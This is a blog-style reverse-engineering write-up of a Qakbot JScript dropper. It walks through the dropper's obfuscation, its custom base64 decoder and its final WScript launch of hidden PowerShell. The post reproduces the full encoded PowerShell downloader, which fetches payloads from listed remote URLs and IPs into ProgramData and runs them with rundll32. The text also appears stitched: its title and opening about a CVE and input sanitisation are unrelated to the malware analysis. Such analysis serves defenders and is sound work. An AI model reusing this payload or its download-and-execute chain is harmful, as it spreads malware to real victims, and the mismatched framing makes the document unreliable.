Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suffering. I mean, reverse engineering. The reverse engineering I like is especially the one where the code is heavily obfuscated, but still readable (e.g. Android, C#, JavaScript). So let’s take a deep breath, and dive into Qakbot JScript dropper depths.
The current analysis is based on the sample 67a65e547d816ffbf22aa6f4566683c49686c114668c16d033c7741de6c9b117. The latter is only the dropper of Qakbot, in its JScript version.
Qakbot is an infamous malware, originally coming as a banking trojan. Times are changing, people too, malware as well. Nowadays, Qakbot is a modular advanced backdoor, often used to distribute pieces of ransomware. Just like other malicious programs, Qakbot is split into different payloads, creating a complex chain of compromise. The current analysis focuses on the JScript version of the downloader.
Source: https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/
Disclaimer
For educational purpose only. Mum used to say that playing with matches was dangerous. Playing with malware too.
JScript is a language based on the ECMAScript standard. To keep it simple, it is akin to JavaScript, but its ability to interact with the Windows Scripting Host makes it much more powerful.
What is quite interesting with ECMAScript languages is the flexibility. Therefore, obfuscation is quite easy and imagination is the limit.
Authors put at the beginning of the file a lengthy paragraph mimicking an AngularJS license, a popular JavaScript library, which is obviously misleading. Starting from line 25, one can first recognise some recurring patterns in Qakbot JScript droppers:
After a bunch of useless dead code, a first anonymous routine is found (line 481). Stroke in red, one can see that it defines three inner routines, and each of them calls Angularbowyangcrossfoot
, while only considering two of the arguments that were sent. One line 492, an endless loop starts, computing the variable grisledcorrupt
(details on the next figure). The computation relies on the three inner routines, and it returns a number, acting as the conditional stop. While the condition is not met, the code enters the else
block. The latter only makes a shift in the array, by rejecting the first element to the end. For example:
>> var x = ['a', 'b', 'c', 'd', 'e', 'f']
undefined
>> x.push(x.shift())
6
>> console.log(x)
(6) ['b', 'c', 'd', 'e', 'f', 'a']
Stroke in blue, this array named hortense
comes from the first argument (anitrogenous
). Since the routine is anonymous, the arguments can be found at the end (line 564), stroke in green. The array passed as argument comes therefore from Angularnonloyaltypredeterminable
. Not shown here, but this routine only returns the array truancies
.
To summarise, an array of meaningless constant strings is passed to an anonymous routine which is meant to scramble the array until a condition is met. This array will be used by the decoding routine to rebuild the obfuscated strings.
Let’s skip a few lines for the moment and jump to the line 797.
A series of variables computed by the routine Angularsurrealistic
(line 799) are created here. This routine is similar to the ones we saw earlier: it forwards two arguments to Angularbowyangcrossfoot
.
It is worth noting something here: in the anonymous routine, the values returned by nongrainwoolder
, overanxiety
, and syllabatim
where strings, and were passed to parseInt
. For instance, the first conversion is made as follows:
nongrainwoolder('0x1ea', 0x1ed, '0x212', 0x275, 0x249, 0x1f3, 0x1b7, 0x269, 0x24e, 0x289, 0x296, '0x1c7', '0x1cf', '0x1b3', '0x217', '0x24a', 0x1f3, '0x1d5', '0x24d', '0x284', 0x26b, 0x234, '0x235', 0x289, '0x1ee', '0x21f', '0x25b', '0x224', '0x299', 0x1f2, '0x290', '0x234', '0x237', '0x240', 0x289, '0x1d8', 0x25f, 0x240, '0x1e8', '0x1d6', 0x226, '0x1ee', '0x224', '0x1c0', 0x1e3, 0x250, '0x227', 0x272, 0x278, 0x24e, 0x26c, 0x1fb, '0x1c0', 0x1c3, 0x28e, 0x297, 0x212, '0x237', 0x230, 0x222, '0x20b', 0x1fb, 0x281, 0x1ba, '0x212', 0x244, 0x1bf, '0x1ad', '0x1d1', '0x1d6', '0x1e5', 0x244, '0x1e2', '0x245', 0x1fd)
If passed to parseInt
, the returned number would be 1033011
, because JS.
Therefore, strings parsed in the anonymous routine intentionally start with a number to make parseInt
succeed, in order to perform the shifting. But now, Angularbowyangcrossfoot
will be used to rebuild the strings and unmask the payload.
Let’s now decode these variables (the second one is truncated. More on this a little bit later):
One can quickly see that something smells fishy with these strings. Reversing them reveals Powershell commands (indeed, although the capture was made in the browser, keep in mind that it is normally about JScript, and therefore can interact with Powerhell and the local file system …).
For example, let’s focus on the first variable (Angularmiseducation
). The latter is used in the huge line 819:
The highlighted code is as follows:
Angularmiseducation[
Angularsurrealistic(0x1dc, 0x1e0, 0x1e6, 0x196, '0x1b4', 0x1f4, 0x1ec, '0x1df', '0x145', 0x1de, '0x1b9', 0x1bc, '0x18e', '0x14b', '0x1a6', 0x164, '0x1d5', 0x20e, '0x1e2', '0x188', '0x172', '0x1c2', '0x1f0', '0x1d9', 0x22b, 0x205, '0x1c6', 0x15b, '0x1e5', '0x228', 0x13b, '0x1b1', 0x14a, '0x225', 0x1b4, '0x16e', '0x201', '0x1e0', 0x1be, 0x1ef, 0x182, 0x1fa, 0x13b, 0x13e, 0x1eb, 0x203, 0x15b, 0x15e, '0x204', '0x18e', '0x13e', 0x1f5, 0x1be, '0x162', 0x15c, '0x173', '0x19e', 0x180, '0x201', 0x1e3, '0x202', '0x13c', 0x146, '0x1f4', 0x1c8, 0x16d, 0x161, 0x1c7, 0x172, '0x1cd', 0x1ca, '0x145', '0x180', '0x200', '0x153')
]('')[
Angularsurrealistic('0x184', '0x15b', '0x1f2', 0x1b5, 0x1a0, 0x1e6, '0x1d0', '0x152', '0x12f', '0x18f', 0x141, '0x188', '0x17f', 0x1e4, 0x15b, '0x190', '0x1e4', '0x13b', '0x1e7', '0x1fc', '0x1ec', 0x1ee, '0x202', 0x1c0, 0x14b, '0x217', '0x135', '0x18b', '0x17b', 0x15c, '0x1f3', '0x18b', 0x163, '0x180', '0x1a7', 0x13f, 0x1b2, 0x1c6, 0x16b, '0x17f', 0x1ed, 0x1f3, '0x207', 0x1ba, 0x1e6, '0x16a', 0x21a, '0x130', 0x1c3, '0x19d', '0x154', 0x172, 0x178, 0x19b, '0x12f', '0x1f1', 0x20c, 0x15a, '0x133', 0x148, '0x1a3', 0x191, 0x181, 0x13f, 0x153, 0x131, '0x194', 0x163, 0x169, 0x209, 0x220, '0x18f', '0x1eb', 0x1af, 0x14b)
]()[
Angularsurrealistic('0x195', 0x185, 0x129, 0x1bb, '0x150', 0x19d, 0x137, '0x19f', '0x19a', 0x1de, '0x153', '0x199', 0x18f, '0x11d', 0x10d, '0x137', 0x14c, 0xf3, '0x1b5', 0x185, 0x1a4, '0x147', 0x132, '0x126', '0x198', 0xed, 0x166, 0x144, '0x19f', '0x103', 0x159, '0x189', '0x124', 0xfb, '0x166', '0x17a', '0x191', '0x124', '0x179', 0x11f, '0xed', '0x151', '0x155', 0x12f, '0x1d1', 0x1a5, 0x196, '0x1bf', 0x131, 0x138, 0x103, 0x142, 0x14b, 0x19c, '0x13e', '0x154', 0x11a, 0x1a1, '0x19c', 0x17d, '0x1ce', '0x1b3', '0xee', '0x11a', '0x16e', '0xf2', 0x131, 0x1b5, '0x17e', '0x1a8', 0x194, 0x162, '0x1aa', 0x181, '0xf3')
]('')
In JScript, it is possible to access the property or a method of an object by either using the dot operator or a named array:
>> String.fromCharCode(65)
'A'
>> String['fromCharCode'](65)
'A'
By decoding the 3 calls to Angularsurrealistic
between the square brackets, one can retrieve
Angularmiseducation['split']('')['reverse']()['join']('')
or, even simpler:
Angularmiseducation.split('').reverse(),join('')
Totally makes sense, then.
I will not get into the details regarding Angulartheanthropic
and Angularextracerebralamerica
that we can see on the picture at the beginning of part 3, because they work exactly like Angularsurrealistic
: they call Angularbowyangcrossfoot
by forwarding 2 arguments.
So far, we have seen that an array of constant strings is mixed to prepare a decoding procedure. Then, some strings are rebuilt based on wrappers for Angularbowyangcrossfoot
. Let’s focus now on the decoding procedure itself.
Let’s get back to the line 732, where is located the routine Angularbowyangcrossfoot
.
Stroke in red, one can recognise Angularnonloyaltypredeterminable
, the array (yet updated) of constant strings. In green, one can see a misleading trick where an inner routine has the same name as its parent. The inner routine, however, only exists in the scope of its parent, meaning that only the parent persists at the global scope. The routine can therefore be simplified as follows (moreover, the second argument is useless):
Some work still needs to be done: let’s beautify and simplify all this mess:
In green is stroke a useless block that URL encodes a string, but at the next line, the routine decodeURIComponent
reverts the process. In red, the decoding routine is referred to as Angularbowyangcrossfoot['DtwnMJ']
, and the arguments being passed to it is tapuyajapers
. The latter comes from the array mellilitaouthue
(line 765), and the index is based on the argument nonloyaltypredeterminable
(remember, the two arguments that were forwarded to Angularbowyangcrossfoot
. Only the first one is relevant here). Based on these observations, one can infer that the decoding routine takes as argument the index of a string to decode, in the array of constant values.
Let’s focus now on the routine almosetariqa
:
The for
loop has an uncommon structure. Whereas the statements are normally init;condition;update
, it is here written like init;update;condition
. It works because the “condition” is halfbeakssteradian = omaguaunparagraphed.charAt(undrainablesourly++);
and if the index (undrainablesourly
) is greater than the length of omaguaunparagraphed
, it returns an empty string, evaluated as false
, making the loop stop. Moreover, since JS allows inline assignments, the rightmost part (the “update”) can be used to update values, while still looking like a condition.
To make it more readable, let’s get rid of the ternary statements:
var raspberrylike = undefined;
var halfbeakssteradian = undefined;
for (var prevalency = 0, undrainablesourly = 0; halfbeakssteradian = omaguaunparagraphed.charAt(undrainablesourly++); prevalency++) {
halfbeakssteradian = luxuriouslyresigns.indexOf(halfbeakssteradian);
if (prevalency % 4){
raspberrylike = raspberrylike * 64 + halfbeakssteradian;
luminescepledgees += String.fromCharCode(255 & raspberrylike >> (-2 * (prevalency+1) & 6))
}
else{
raspberrylike = halfbeakssteradian;
}
}
One can see here that this algorithm works with 4-byte blocks, each of them encoding 3 bytes (because of the modulus
operator). In Python, the encoding mechanism can be written as follows (in python 2.7 because why not)
target = "noitacilppa.llehs"
source = "BM9PDgfJAwXWCgeUBgXLAhm"
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
def decodestr(src):
raspberrylike = None
encoded = ""
for i in range(len(src)):
s = src[i]
if i % 4:
raspberrylike = raspberrylike * 64 + alphabet.find(s) # x64 means << 6
encoded += chr(255 & raspberrylike >> (-2 * (i+1) & 6))
else:
raspberrylike = alphabet.find(s)
return encoded
def encodestr(t):
out = ""
for i in range(0, len(t), 3):
stream = int(t[i:i+3].encode('hex'), 16)
size = len(t[i:i+3])
if size == 2:
stream <<= 2
if size == 1:
stream <<= 4
a = stream >> 18 & 0b111111
b = stream >> 12 & 0b111111
c = stream >> 6 & 0b111111
d = stream & 0b111111
tmpout = (alphabet[a] + alphabet[b] + alphabet[c] + alphabet[d])[-size-1:]
out += tmpout
return out
print(encodestr(target))
print(decodestr(source))
To encode a trigram in target
, the script concatenates their ASCII codes, and splits by 6-bit blocks. For instance, encoding noi
works as follows:
noi -> 0x6e6f69
-> 11011100110111101101001
-> 11011 100110 111101 101001
-> 27 38 61 41
alphabet[27] = 'B'
alphabet[38] = 'M'
alphabet[61] = '9'
alphabet[41] = 'P'
Starting on line 834, the obfuscated strings are reversed and assembled, to build a Powershell command. Executing it in a browser would not work, because it refers to APIs that the latter does not support.
Let’s decode the first one. Instead of referring to a property of this
, we pass it to console.log
:
>> console.log([Angularhagglerscorresponding[Angulartheanthropic('0x527', '0x4c1', '0x4ef', '0x50b', 0x4dd, '0x53e', '0x510', '0x592', 0x4ba, 0x4ed, '0x508', 0x516, '0x4f8', 0x51f, '0x4c3', '0x4cf', '0x58f', 0x510, '0x579', '0x54b', 0x4f1, '0x4b3', 0x51b, 0x56a, 0x592, 0x552, '0x580', '0x4fd', '0x593', '0x540', '0x580', '0x54e', 0x4ba, '0x550', '0x532', 0x58c, '0x53b', 0x4a7, '0x535', '0x593', '0x4da', 0x543, 0x505, '0x558', 0x533, 0x502, 0x51e, '0x542', 0x55c, '0x525', '0x520', 0x4b1, '0x4f6', 0x51f, 0x500, 0x53a, 0x506, 0x595, 0x534, 0x594, '0x509', 0x4b4, '0x578', '0x4af', 0x4e2, 0x4c9, 0x564, 0x595, 0x4ca, '0x548', 0x575, 0x4f1, '0x53c', '0x553', '0x533')]('')[Angularextracerebralamerica(-'0x211', -'0x23b', -'0x234', -0x204, -'0x1b6', -'0x1c8', -0x1c7, -'0x1e8', -'0x269', -0x1ec, -'0x1d9', -0x1fd, -0x1e1, -0x21e, -0x1be, -'0x257', -0x23c, -0x1a5, -0x24a, -'0x255', -0x24f, -0x1c7, -0x1b0, -0x1fa, -0x211, -'0x1a9', -0x24a, -0x24e, -'0x20b', -'0x1f5', -0x226, -'0x208', -0x21b, -0x1ae, -0x203, -0x20b, -'0x1a2', -'0x237', -0x242, -'0x203', -0x268, -0x1f6, -'0x1aa', -'0x237', -0x1c7, -'0x236', -'0x1ce', -'0x266', -0x1f1, -0x1d4, -0x22b, -'0x257', -'0x26c', -0x205, -'0x1a7', -0x18f, -0x26c, -0x1fd, -'0x1c9', -0x230, -'0x25b', -0x19d, -0x241, -0x195, -0x21d, -'0x1d8', -0x1d8, -'0x239', -0x18e, -0x1fb, -'0x228', -'0x218', -0x198, -'0x1ae', -'0x263')]()[Angularextracerebralamerica(-0x245, -'0x23c', -0x2b6, -'0x245', -0x247, -'0x201', -'0x206', -'0x23c', -'0x1fd', -'0x267', -0x29c, -'0x28d', -0x223, -0x1ce, -0x287, -'0x26b', -0x21f, -'0x230', -0x2b4, -'0x20e', -'0x1cc', -0x1e5, -0x239, -'0x1f2', -'0x284', -0x218, -0x1e1, -'0x207', -0x25f, -'0x2ba', -0x263, -'0x251', -'0x257', -'0x1fc', -0x25e, -0x1f1, -'0x267', -'0x22e', -0x230, -'0x256', -0x2be, -'0x294', -0x25e, -'0x1d8', -'0x1f1', -'0x249', -0x206, -0x22d, -0x290, -'0x24a', -0x25b, -0x1e4, -0x2b0, -0x2a5, -0x27d, -0x266, -0x1d2, -'0x230', -0x245, -0x295, -0x2b2, -'0x1ec', -'0x29b', -'0x283', -0x27d, -0x200, -0x264, -0x27c, -'0x2b3', -0x227, -0x298, -'0x1cc', -'0x27f', -'0x245', -0x1dc)]('')]);
['WScript']
By decoding the whole line 840, one can get
WScript
.CreateObject('shell.application')
.shellexecute('powershell',
'-WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand'
+ '\x20\x22'
+ 'JAB1AHIAZQ'
+ 'B0AGgAcgBvAHAAbABhAHMAdABpAGMAVwBoAGkAdABoAGUAcgBzAG8AZQB2AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGQAUQBCAHkAQQBHADQAQQBiAHcAQgAxAEEASABNAEEAVABRAEIAMQBBAEcANABBAGIAZwBCAHYAQQBIAEEAQQBjAHcAQgBwAEEASABNAEEATABnAEIAagBBAEcAOABBACIAOwAkAG0AbwB1AG4AZAB5AEUAeAB1AGQAZQBkACAAPQAgACIAQQB1AHQAbwBiAGkAbwBnAHIAYQBwAGgAeQAiADsAJABIAHkAZAByAG8AcwBwAGgAZQByAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHkAQQBHAFUAQQBiAEEAQgBoAEEASABnAEEAWgBRAEIAawBBAEUATQBBAFkAUQBCADAAQQBHADQAQQBZAFEAQgBqAEEARwBnAEEAWgBRAEEAdQBBAEcATQBBAGIAdwBCAHUAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAdgBBAEgASQBBAGMAdwBBAD0AIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMwA7ACQAQQBsAGQAbwBsAGEAcwBlAHMATQBlAGcAYQByAGkAYQBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAZQBRAEIAagBBAEcAOABBAFoAdwBCAHYAQQBHADQAQQBaAFEAQgBCAEEASABNAEEAYwB3AEIAcABBAEcAYwBBAGIAZwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcATQBBAGIAdwBCAHQAQQBHADAAQQBkAFEAQgB1AEEARwBrAEEAZABBAEIANQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHkAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATgB3AEEAMQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYwB3AEIAbQBBAEcAawBBAGMAdwBCAG8AQQBDADQAQQBkAEEAQgB2AEEARwBRAEEAWQBRAEIANQBBAEEAPQA9AFQAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFUAQQBiAEEAQgBoAEEARwBJAEEAYwBnAEIAaABBAEgAUQBBAFoAUQBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBnAEEAIgA7ACQAdQBuAG0AaQByAHQAaABmAHUAbAAgAD0AIAAzADMAOwAkAGMAaABvAGkAYwBlAGwAZQBzAHMAbgBlAHMAcwBHAG8AdgBlAHIAbgBlAHMAcwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFUAQQBIAGsAQQBjAEEAQgBsAEEARwB3AEEAWgBRAEIAegBBAEgATQBBAFIAZwBCADEAQQBIAEkAQQBZAFEAQgB1AEEARwBVAEEAYwB3AEEAdQBBAEcAWQBBAFkAUQBCAHkAQQBHADAAQQBhAGUASgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAGMAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdQBBAEQASQBBAE4AUQBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABBAEEAYQBlAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQA4AEEAYwBnAEIAMABBAEcARQBBAGIAQQBCAHAAQQBHAFEAQQBZAFEAQgBsAEEAQwA0AEEAYgBRAEIAdQBBAEEAPQA9ACIAOwAkAE0AdQB0AHQAbwBuAGgAbwBvAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQB4AEEARABnAEEATQBRAEEAdgBBAEcAMABBAGEAUQBCAFMAQQBDADgAQQBjAEEAQgBpAEEARgBNAEEAZQBnAEIAVgBBAEgAQQBBAGQAUQBCAGEAQQBIAGcAQQBTAGcAQQA9AG4AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMQBBAEQAUQBBAEwAdwBBADUAQQBFAGMAQQBVAFEAQQAxAEEARQBFAEEATwBBAEEAdgBBAEQAVQBBAGUAUQBBADIAQQBFAHcAQQBSAGcAQgB5AEEASABnAEEAUwBBAEEAPQBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE8AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAMQBBAEQAZwBBAEwAZwBBADUAQQBEAEUAQQBMAHcAQgBZAEEARwA0AEEAWgBBAEEAdgBBAEQAZwBBAE0AdwBCAHkAQQBGAEkAQQBiAGcAQgBIAEEARQBrAEEATwBRAEEAMQBBAEgARQBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAHAAYQBuAHMAaQBuAHUAcwBpAHQAaQBzAFUAbgBwAGEAdAByAG8AbABsAGUAZAAgAGkAbgAgACQATQB1AHQAdABvAG4AaABvAG8AZAAgAC0AcwBwAGwAaQB0ACAAIgBuACIAKQAgAHsAJABwAG8AbgBnAGkAZABhAGUAVABoAGkAYwBrAGUAcwB0ACAAPQAgADQAMQA1ADsAJAB0AGEAbgB0AGEAbABpAHoAZQByAFQAZQB1AHQAbwBuAGkAYwBpAHMAbQAgAD0AIAA0ADQAMwA7ACQAbABhAHIAZwBlAGgAZQBhAHIAdABlAGQAbAB5AFcAZQBpAGcAaABlAGQAIAA9ACAAIgBPAGIAcwB0AGUAdAByAGkAYwBhAHQAaQBvAG4AIgA7AHQAcgB5ACAAewAkAHAAdQBwAGkAbABsAGEAcgBpAHQAeQBJAG4AbABhAG4AZABlAHIAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAZwBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMANABBAE0AUQBBAHcAQQBEAEEAQQBYAHYAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHQAQQBHADgAQQBkAFEAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEMANABBAFkAdwBCAHYAQQBHAHcAQQBiAHcAQgBuAEEARwA0AEEAWgBRAEEAPQBYAHYAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHoAQQBHAE0AQQBhAEEAQgB2AEEARwA4AEEAYgBBAEIAdABBAEcAVQBBAGIAZwBBAHUAQQBIAEUAQQBkAFEAQgBsAEEARwBJAEEAWgBRAEIAagBBAEEAPQA9AFgAdgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAWQBBAE4AdwBBAHUAQQBEAFUAQQBNAGcAQQB1AEEARABJAEEATQBBAEEAeABBAEMANABBAE4AdwBBAHkAQQBBAD0APQAiADsAJABQAHIAbwBwAGUAbgBzAGkAbwBuAFMAbwByAGMAZQByAGUAcwBzAGUAcwAgAD0AIAAiAEEAZABtAG8AbgBpAHMAaABlAHIAIgA7ACQAUAByAG8AcwB0AGgAZQBuAGkAYwBDAG8AbgBnAGUAcgB5ACAAPQAgACIAZwByAGEAbgBkAG4AZQBwAGgAZQB3ACIAOwAkAGMAcgBhAGMAawBlAHIAagBhAGMAawAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABwAGEAbgBzAGkAbgB1AHMAaQB0AGkAcwBVAG4AcABhAHQAcgBvAGwAbABlAGQAKQApADsAaQB3AHIAIAAkAGMAcgBhAGMAawBlAHIAagBhAGMAawAgAC0ATwAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFQAaQBkAGUAcgBvAGQAZQBSAGUAaQBuAGgAYQBiAGkAdABhAHQAaQBvAG4ALgByAGkAbABpAG4AZwBTAGgAcgBlAHcAcwA7ACQAdwBoAGUAZQBsAHcAbwByAGsAIAA9ACAAIgBHAGUAbQBtAGEAdABpAG4AZwBJAG4AcwB1AGwAYQB0AG8AcgAiADsAJABIAGUAaQByAGUAcwBzACAAPQAgACIAUABpAHMAdABvAGwAYQBkAGUAUAByAG8AagBlAGMAdAByAGkAeAAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFQAaQBkAGUAcgBvAGQAZQBSAGUAaQBuAGgAYQBiAGkAdABhAHQAaQBvAG4ALgByAGkAbABpAG4AZwBTAGgAcgBlAHcAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAA5ADUAOQA1ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBWAEEAQgBwAEEARwBRAEEAWgBRAEIAeQBBAEcAOABBAFoAQQBCAGwAQQBGAEkAQQBaAFEAQgBwAEEARwA0AEEAYQBBAEIAaABBAEcASQBBAGEAUQBCADAAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEgASQBBAGEAUQBCAHMAQQBHAGsAQQBiAGcAQgBuAEEARgBNAEEAYQBBAEIAeQBBAEcAVQBBAGQAdwBCAHoAQQBDAHcAQQBSAEEAQgBzAEEARwB3AEEAVQBnAEIAbABBAEcAYwBBAGEAUQBCAHoAQQBIAFEAQQBaAFEAQgB5AEEARgBNAEEAWgBRAEIAeQBBAEgAWQBBAFoAUQBCAHkAQQBEAHMAQQBRAFEAQgB1AEEARwBjAEEAZABRAEIAcwBBAEcARQBBAGMAZwBBAD0AIgA7ACQAaQBuAGgAYQBiAGkAdABlAGQAbgBlAHMAcwBFAHgAcABvAHMAaQB0AG8AcgBpAGEAbABsAHkAIAA9ACAAIgBOAG8AbgBjAHUAcgB0AGEAaQBsAGkAbgBnACIAOwAkAG8AdQB0AHIAaAB5AG0AZQBkACAAPQAgACIAZABlAG4AbwB0AGUAUABoAG8AdABvAHQAZQBsAGUAZwByAGEAcABoAGkAYwBhAGwAbAB5ACIAOwBiAHIAZQBhAGsAOwBBAG4AZwB1AGwAYQByADsAfQBBAG4AZwB1AGwAYQByADsAfQAgAGMAYQB0AGMAaAAgAHsAJABtAG8AbwBsAGUAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGIAdwBCAHkAQQBIAEkAQQBkAFEAQgB3AEEASABRAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAFQAQQBIAFUAQQBZAGcAQgB6AEEARwBrAEEAWgBBAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDADQAQQBZAFEAQgBqAEEASABRAEEAYgB3AEIAeQBBAEEAPQA9AGQAUwBWAGcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AdwBBAHgAQQBDADQAQQBNAFEAQQAyAEEARABnAEEATABnAEEAMgBBAEQATQBBACIAOwAkAFAAbwBsAHkAcwBwAGUAcgBtAGkAYQBBAG4AdABpAHAAaQBsAGwAIAA9ACAAOQA1ADIAOwB9AH0AJABwAHIAZQB2AGEAbABlAG4AYwB5ACAAPQAgADUAMQA3ADsAJABEAGUAbgBkAHIAaQB0AGkAYwBDAG8AbgB0AHIAaQBiAHUAdABpAG8AbgBzACAAPQAgACIARgBlAGMAaABuAGUAcgBpAGEAbgBEAG8AcgBzAG8AcABvAHMAdABlAHIAaQBhAGQAIgA7ACQAUABvAHQAZQBuAHQAaQBhAHQAbwByAFQAbwB4AGEAZQBtAGkAYwAgAD0AIAAiAG8AcABoAGkAYwBoAHQAaAB5AG8AaQBkAEwAaQBjAGgAZQBuAGkAegBhAHQAaQBvAG4AIgA7AEEAbgBnAHUAbABhAHIAOwA='
+ '\x22', '', 'open', 0);
The big string is passed to Powershell as an encoded command. Such arguments are UTF-16 and then base64 encoded (because windows). By decoding it (and eventually removing the null bytes), one can get
$urethroplasticWhithersoever = "aAB0AHQAcABzADoALwAvAGIAdQByAG4AbwB1AHMATQB1AG4AbgBvAHAAcwBpAHMALgBjAG8A";
$moundyExuded = "Autobiography";
$Hydrospheric = "aAB0AHQAcABzADoALwAvAHUAbgByAGUAbABhAHgAZQBkAEMAYQB0AG4AYQBjAGgAZQAuAGMAbwBuAHQAcgBhAGMAdABvAHIAcwA=";
Start-Sleep -Seconds 13;
$AldolasesMegarian = "aAB0AHQAcABzADoALwAvAG0AeQBjAG8AZwBvAG4AZQBBAHMAcwBpAGcAbgBhAHQAaQBvAG4AcwAuAGMAbwBtAG0AdQBuAGkAdAB5AA==TRaAB0AHQAcABzADoALwAvADEANQA5AC4AMgAyADAALgAyADMANAAuADEANwA1AA==TRaAB0AHQAcABzADoALwAvAGMAcgBvAHMAcwBmAGkAcwBoAC4AdABvAGQAYQB5AA==TRaAB0AHQAcABzADoALwAvAEUAbABhAGIAcgBhAHQAZQAuAGMAYQBzAGgA";
$unmirthful = 33;
$choicelessnessGovernesses = "aAB0AHQAcAA6AC8ALwBUAHkAcABlAGwAZQBzAHMARgB1AHIAYQBuAGUAcwAuAGYAYQByAG0AaeJaAB0AHQAcAA6AC8ALwA2ADcALgAyADEAOQAuADIANQAwAC4AMgAzADAAaeJaAB0AHQAcABzADoALwAvAE8AcgB0AGEAbABpAGQAYQBlAC4AbQBuAA=="
